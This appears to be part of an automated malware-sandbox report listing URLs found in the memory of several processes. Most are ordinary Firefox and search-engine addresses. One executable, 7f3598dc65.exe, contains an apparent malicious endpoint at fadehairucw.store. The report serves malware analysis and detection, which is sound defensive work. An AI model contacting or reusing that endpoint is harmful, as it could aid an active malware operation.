Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2354383333.000002B9B4B1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/_startedLoadSinceLastUserTyping
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000019.00000002.2591081287.000002B9B6F92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583741939.000002B9B5FA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2595976581.000002B9B7003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B4827000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000019.00000003.2478463668.000002B9BCD6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2589627659.000002B9B6E41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000019.00000002.2582949782.000002B9B5E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561919945.000002B9B4870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180chrome://browser/locale/safebrowsing/safebrowsin
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355155335.000002B9B4B5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2355537679.000002B9B4B77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000019.00000003.2473178711.000002B9BD1CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000019.00000003.2473178711.000002B9BD1CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B06AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2505185278.00000274E3BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2530190605.000002B9B04B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2504794254.00000274E3A70000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2518266022.000002941A060000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000019.00000002.2525401575.000002B9A4E11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2525401575.000002B9A4E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000019.00000003.2419930987.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000019.00000003.2419930987.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2426662639.000002B9BCA23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: 606111e8b5.exe, 00000009.00000002.2309214794.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 00000009.00000003.2261496330.000000000576B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2361140547.0000000000D3C000.00000008.00000001.01000000.00000013.sdmp, 606111e8b5.exe, 0000001D.00000002.2520754609.0000000000F9C000.00000040.00000001.01000000.0000000F.sdmp, 606111e8b5.exe, 0000001D.00000003.2426511088.000000000519B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1715820821.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715743825.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715694011.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224974443.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2224715938.000000000583F000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2225162851.000000000582A000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2369234556.00000000052DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2556162239.000002B9B2630000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/mod
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553503334.000002B9B1E49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.typeWasRegiste
Source: firefox.exe, 00000019.00000002.2535037186.000002B9B0F26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000019.00000002.2560279279.000002B9B46D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: 7f3598dc65.exe, 00000010.00000003.2389541459.00000000005F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fadehairucw.store:443/apiR
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2456017597.000002B9BD031000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2466071630.000002B9BD05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000019.00000002.2559954237.000002B9B46A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsSELEC
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B103C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2505295242.0000029419B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtabhttps://getpocket.com/explore
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
